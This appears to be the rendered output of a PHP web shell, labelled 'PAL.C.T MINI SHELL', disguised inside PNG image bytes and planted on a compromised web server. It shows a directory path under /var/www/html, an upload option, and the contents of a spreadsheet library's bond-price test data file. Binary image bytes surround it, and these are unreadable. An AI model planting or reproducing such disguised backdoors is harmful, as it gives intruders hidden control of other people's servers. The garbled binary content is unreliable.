php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/
upload
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/PRICE.data

#Settlement	Maturity	Rate	Yield	Redemption	Frequency	Basis	Result
"15-Feb-2008",	"15-Nov-2017",	0.0575,	0.065,	100,		2,		0,	94.6343616213221
"15-Feb-2008",	"15-Nov-2017",	0.0575,	0.065,	100,		2,		1,	94.6354492078772
"15-Feb-2008",	"15-Nov-2017",	0.0575,	0.065,	100,		2,		2,	94.6365640300251
"15-Feb-2008",	"15-Nov-2017",	0.0575,	0.065,	100,		2,		3,	94.6351747967845
"01-Apr-2012",	"31-Mar-2020",	0.12,	0.10,	100,		2,		NULL,	110.8344835932160
"01-Apr-2012",	"31-Mar-2020",	0.12,	0.10,	100,		2,		1,	110.8345373958590
"01-Apr-2012",	"31-Mar-2020",	0.12,	0.10,	100,		2,		2,	110.8344835932160
"01-Apr-2012",	"31-Mar-2020",	0.12,	0.10,	100,		2,		3,	110.8345285514390
"01-Apr-2012",	"31-Mar-2020",	0.12,	0.10,	100,		4,		3,	110.9217329631980
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`